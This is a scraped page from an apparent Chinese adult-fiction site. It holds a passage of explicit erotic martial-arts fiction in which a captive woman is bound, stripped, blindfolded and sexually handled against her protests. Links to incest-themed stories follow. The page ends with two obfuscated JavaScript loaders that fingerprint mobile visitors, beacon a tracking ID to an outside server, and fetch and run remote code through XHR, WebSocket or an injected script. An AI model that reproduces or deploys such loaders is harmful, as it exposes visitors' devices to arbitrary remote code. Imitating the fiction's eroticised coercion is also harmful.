虽知这样的霓裳子对男人而言是个无可抗拒的诱惑,十有八九在路上吴羽就想拿她开刀,但能弄得她无法抗拒,只能任人宰割,便是心中满是醋意,可至少邵雪芊心里也好过点。

只是吴羽却否决了此议。原本邵雪芊还以为若非这人不想刻意惹怒自己,就是忌讳霓裳子那出神入化的云雨采补功夫,想想这人的生性,说不定后者的机会还大些,但看霓裳子现在虽是衣着整齐,反不如方才被剥光时的自信满满,看来这或许就是吴羽所想达成的目标。

看霓裳子纵使被自己言语挑诱,仍是一语不发,只垂着头、咬着唇,一副便知无力与抗仍是死命强撑的倔强样儿,换了男人这等模样或许还可令人心生敬意,但霓裳子外表高洁若仙,这般强撑的样儿反而透出一丝软弱,加上才刚看到她被麻绳紧缚的前凸后翘的诱人样儿,男人看了她这模样,哪会不食指大动,一腔心力全用着彻底粉碎她圣洁无伦的外在,勇猛地控制她软弱的胴体,将她身心完完全全征服的冲动?别说吴羽这淫贼,便连邵雪芊自己都不由有些心痒难搔呢!

只是心动之间,竟有一丝连自己也难了解的怜惜之意涌上心头,邵雪芊不由暗自摇头,看来自己真是被吴羽带坏了,色欲之心超越了一切,竟连面对这淫名在外的荡妇浪娃也有淫欲之心,否则以霓裳子的声名,身为女人的她怎会对她有丝毫怜意?不出剑杀了她已是她前世修福!

“我们走吧!”伸手招过了吴羽,邵雪芊纤手轻推霓裳子背心,顺手将霓裳子双手反背,余下的麻绳正好缚住她双手,令功力已然被制的她更加无还手之力,只能乖乖就范。

“晚些……还有好节目给道长备下,请道长好生享用,绝对让道长难以忘怀……”见霓裳子乖乖走着,邵雪芊不由顽皮心起,她轻轻凑过脸到霓裳子耳边,一口温热气息挑逗性地吐在霓裳子耳后。被男人这般对待过不知多少回,早该免疫的霓裳子,竟也不由唿吸粗重起来,心下不由暗叫不妙。

换了吴羽说这话,霓裳子无任欢迎,男人有什么手段她没见识过?但若换了邵雪芊出手,自己也真不知能撑得多久,锦裳门的命运也只能看自己能够守得了那秘密多久。

见霓裳子走得不知不觉,娇躯却已微微见汗,配上她那矜持的神情,愈发显得柔弱待采,邵雪芊心下也不由佩服:这等异刑她用在霓裳子身上前自己也试过,着实难堪,却没想到这淫妇却还能走得如此正常,只不知待会儿吴羽要用在她身上的手段,这女人可还承受得住?

步入房内,霓裳子心下不由暗暗叫苦。眼前的柔软大床和床边似正等着自己的娇小女子倒不成问题,这模样虽说怎么看都是要在床笫上摆弄自己,但这等阵仗霓裳子也不知经历过多少次,再旖旎的情景、再诱人的布置也没法令她芳心浮动半分。

但这一路上,霓裳子虽施尽心计,若有似无地挑逗着身后一路紧跟的吴羽,几乎可说只要是男人看了,都不会等到她到达此处便要将她就地正法,却不见后者有任何动摇。别说多的言语动作了,甚至连唿吸的稍微动摇都没有。

真要说来,善于床笫采补之术的女子,最忌惮的从来不是年轻高手又或功力深厚的男子,年轻人便有奇遇,功力再高,终究年轻冲动,光靠着体能或天赋,要压过床笫功夫高明的女人可说是难上加难,而床笫之事虽说也极耗体力,功力深厚之人在这方面的确占点儿优势,但无论床上如何体位、如何动作,男施女受终究难以改变,女人看似柔弱,在这方面却要胜男人一筹。

但真正最麻烦的恰是此种难以挑逗的人,无论男女都一样。女人冷感到了极限,便是所谓石女,即便不到难以行房的程度,床上的投入不足,对男女双方都是一种痛苦,而男人呢?除非当真天阉,否则愈是看来冷淡,像是怎么挑逗都不动兴的男人,一旦动了情愈是龙精虎猛?

虽说让这等男人拜倒石榴裙下也有成就感,但霓裳子以往碰到这种人却是敬而远之,除非必要否则绝不在这等人身上动用采补本领,就算真要用上,也是小心翼翼,若有危险立时远遁,绝不迟疑。

毕竟对长于采补的女人而言,床上就和战场一般,遇上好吃的软柿子则已,可若明知对手不凡,还要硬上,那就不是挑战自己,而是找死。江湖斗殴日日皆有,但真要说到高手相争,却是少见,倒不是因为能成高手者凤毛麟角,又或是高手爱惜羽毛,而是武功愈高之人,愈知江湖上卧虎藏龙,即便当真遇上对手,能以势压、威迫,便不会当真动手,那种一言不合、拔刀相向者,都只是不入流的人物。

只是这回自己却是没法逃了,一路上边想办法挑逗吴羽,边注意着四周情形,吴羽不动声色,邵雪芊却是唿吸急促,想来是看自己挑逗她的情郎而醋意起了。

霓裳子虽知这样下去,邵雪芊绝放不过自己,要受的苦刑只怕难以想像,但都已经落入敌手,她也不奢望全身而退,若是受苦刑时哀婉求饶的模样能诱得吴羽食指大动,说不定还有机会影响对方,霓裳子倒不想逃,若能影响对方不要动用太过伤害锦裳门的手段,对她而言也就是上上大吉了。

没想到霓裳子虽是嫩颊绯红、肌润若水,言语动作却还是那般完美无缺,配上那美若天仙的容貌神情,被擒之后的模样,格外令人有种将她彻底蹂躏征服,粉碎她坚硬的外表,暴露她柔弱内在的意欲,即便自己是女子,都快受不了了,邵雪芊可真没想到,这吴羽还真能忍得住!

是该说男人就是事业心重,连他这等淫贼都能克制自己不要妄为,还是说吴羽爱的不是这等淫名在外,千锤百炼到无以伦比的诱人尤物,而是自己这等名门主妇、武林侠女床上彻底臣服的风姿。

哎,自己想到哪里去了?心中虽懊恼自己不只失了身,连心都被吴羽控得服服贴贴,但邵雪芊嘴角却不由浮起了一丝甜笑。想到吴羽就想到床笫间被他勇猛征服,无论身心都被他占有,她那徒劳无功的抗拒,只是欲拒还迎地诱他攻陷得愈发彻底,那种欲仙欲死的滋味,邵雪芊早知自己已逃离不了,心下对霓裳子的怨恨也就少了,毕竟除了恶名外,自己与她又差到了哪儿去?

“我们……可到了呢……接下来就有的好玩了,道长……”纤手牵住霓裳子衣钮,邵雪芊微微一笑,在霓裳子眼中却透着几分邪,那等模样在男人脸上看得多了,浮在女人脸上就是奇怪。

可她却无力与抗,只觉娇躯一震,也不知邵雪芊搞了什么鬼,一身衣裳竟柔顺地滑落下来,转眼间她那完美的胴体已完全暴露,从矜持冷傲变成赤裸柔弱的强烈转变,配上一双美峰被麻绳绑缚得高高挺起,一暴露便刺激无比地吸住了旁观者目光的变化,甚至连霓裳子都不由涌出一抹羞意。

没想到霓裳子面上竟然会出现这么“女人”的娇羞神情,邵雪芊不由有些愕然,心中却有一丝沈甸甸的感觉。她原以为这等淫妇对这等阵仗便不若吃饭喝水般正常,也该已经习惯,便如方才亭中自己为她解衣时一般,没想到在光天化日之下被剥光被捆缚时霓裳子神色不变,现在到了房内却是羞不可抑,这般难以想像的变化,让邵雪芊差点手足无措起来。

幸好邵雪芊惊讶,霓裳子却比她更羞赧,一惊之下回复正常的邵雪芊连忙找出一条黑巾,将霓裳子双眼缚上,目不见物的霓裳子只觉娇躯一颤,那捆缚的感觉顿时解脱,浑身上下除了缚眼的黑巾之外,真真正正再无片缕,这般柔弱无依的感觉许久未有,令霓裳子竟不由有些惧意。

即便目不见物,但身边各人的唿吸仍在耳边,倒不像当真处身黑暗那般无力,何况她也知道这不过是对方的攻心之计,好让自己格外感受无力软弱,欺负起来也容易些。

努力稳定心神的霓裳子感觉身旁脚步声响,邵雪芊款步轻移到她身边,纤手却不像脚步声那般娇柔,直接从腰侧滑下直捂黄龙,股间被袭的霓裳子娇躯微颤,笔直光滑的玉腿紧紧夹住,却还是难抵邵雪芊玉手,终于被迫分了开来,被她纤指轻扣幽谷,一股难以想像的刺激,竟令她身不由主地颤抖起来。

那处被男人抚揉扣挖,无论是温柔是粗暴,霓裳子都已尝过不知多少次,即便女子动手,对她而言也不是头一回,但邵雪芊的手袭上身来,感觉却特别诡异,既有女子的细致温柔,又含带男人情欲难抑的渴望,加上一路行来,那麻绳带来的异样感觉犹在,两边一加乘带给霓裳子的刺激愈发难忍,好像幽谷里都有些湿润起来。

她虽是努力抑着没有哼叫,但晰白如玉的肌肤上却不由涌现了一抹晕红,轻咬的唇角格外透出柔弱,我见犹怜的令旁边的辛婉怡不由倒吸了一口气。

虽感觉到辛婉怡的动摇,甚至吴羽的唿吸都不似先前那般稳了,霓裳子却没有半点高兴的感觉。一来被吴羽控在手中的秘密太过重大,就算自己能逃出生天,不能彻底杀人灭口也就没有意义,二来对她而言,被男人甚至被女人玩弄都是常有之事,就算吴羽床上手段再高明,只要是男人霓裳子就不会怕他,可邵雪芊的手法太过怪异,对上这等未知之人,教霓裳子不紧张都难。

“嗯……真的……有点儿湿了呢!”感觉霓裳子股间柔腻微润,邵雪芊啧啧有声地轻笑,口鼻间的热气轻轻吹着霓裳子耳畔,“我还真以为道长一点感觉也没有,没想到……你还真是个女人……”

那手法虽令霓裳子难受,耳边被轻吐香氛,也让霓裳子娇躯微颤,但真正令她心湖动荡的还是邵雪芊的这句话。倒不是霓裳子不把自己当成女人,既然是个女人,这等天生的反应都是压不住的,尤其善于床笫淫术的女人,对此更有深刻感受,愈敏感完美的肉体,愈能令男人心动神摇,床上也愈容易有机会采阳补阴,采补之术便是在这等挣扎之中艰苦取胜的。

可邵雪芊轻语呢喃,虽是温柔甜美,纤指的触感、唿吸的甜蜜,在在都是女子的感觉,但这句话怎么听,都像是男人在挑逗女人时的轻薄言语,阴不阴、阳不阳的,让正等着身受其害的霓裳子如何受得?

原本她还以为邵雪芊不过是江湖侠女,就算儿子女儿都生了,最多也只是被淫贼征服的女人,便学了不少床上手段,终究胜不过自己的老辣,即便暗中盘算了什么苦刑来对付自己,侠女的手段终究软些,辛婉怡更不足论,自己真正要提防的只有旁边那个吴羽而已。

但霓裳子怎么也没想到,邵雪芊竟然有这样的一面!也不知姬园在日是怎么应付这等诡异的妻子的?还是说她的这一面连姬园都未曾得见,纯粹是被吴羽一点一点激发出来的呢?

不理霓裳子心中七上八下,邵雪芊一边轻咬着霓裳子小耳,一边纤指在她股间轻挑慢捻,搂着她一步步向床上走去,边走还没忘边在她耳边轻声细语,诉说着这女人的胴体是多么诱惑。

本来同为女人,又是最看不起这等以色事人的淫娃荡妇,这等话就打死邵雪芊也说不出来。但在亭中就把她给剥光了,亲手为她加上麻绳捆缚,每寸肌肤都没逃过邵雪芊的手,那等难以言喻的柔细,到现在还在指间回荡难平,不只傲人身材,连肌肤触感都令她自叹弗如,加上邵雪芊早在床上被吴羽彻底征服,去了心障更能真切地感受到,这霓裳子对身体的投资有多大。

一开始还是仿着吴羽对自己玩弄时的种种手段,还得在心中告诉自己,这等淫邪行径不是自己所爱,纯是为了儿子的大业着想,不能不在这儿把霓裳子搞定,但弄着弄着,也不知是经验愈来愈丰富,还是自己性格之中竟有着连自己都不知道的一面,邵雪芊的手法愈发娴熟,抚弄之间令霓裳子竟不由娇躯轻弓,再难保持一开始挺拔直立的模样,愈发得意的邵雪芊更难放松手了。

“你……哎……夫人……不要……奴……奴家具……真要受不了啦……”“都已经这样了,哪容得道长说不要……”话儿出口,邵雪芊不由吐了吐舌,心想着自己也真被吴羽带坏了,这等话都说得出来?偏偏这一吐舌,舌尖正好挑在霓裳子敏感的小耳上头,舐得她一阵颤抖,娇躯弓在邵雪芊怀中不住扭揩。

虽知这淫妇不会如此不堪,这等献媚手段多半只是为了降低自己戒心,但邵雪芊仍是得意洋洋,心想自己果然天生就跟那吴羽是一路的!

所谓坏人坏事,便如女子床上的淫言浪语,最难突破的便是第一次,一旦做下了事,即便心中难免惊惧害怕,可那种难以言喻的快感却也隐隐浮现,尤其邵雪芊也不知被吴羽在床上玩了几回,云雨颠狂之间,在这方面的抗拒本能早已烟消云散。

如今看霓裳子被自己摆布得娇吟不止,虽知这淫妇八成只是示弱,还巴望着找机会逃出生天,可只要有一两成戏假情真,也够邵雪芊得意的了。打铁趁热,邵雪芊趁机把霓裳子赤裸完美的娇躯搂在怀中,双手大肆轻薄起来。


上一篇:4同事狂曝淫荡少妇的菊

下一篇:姐姐的乱伦


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};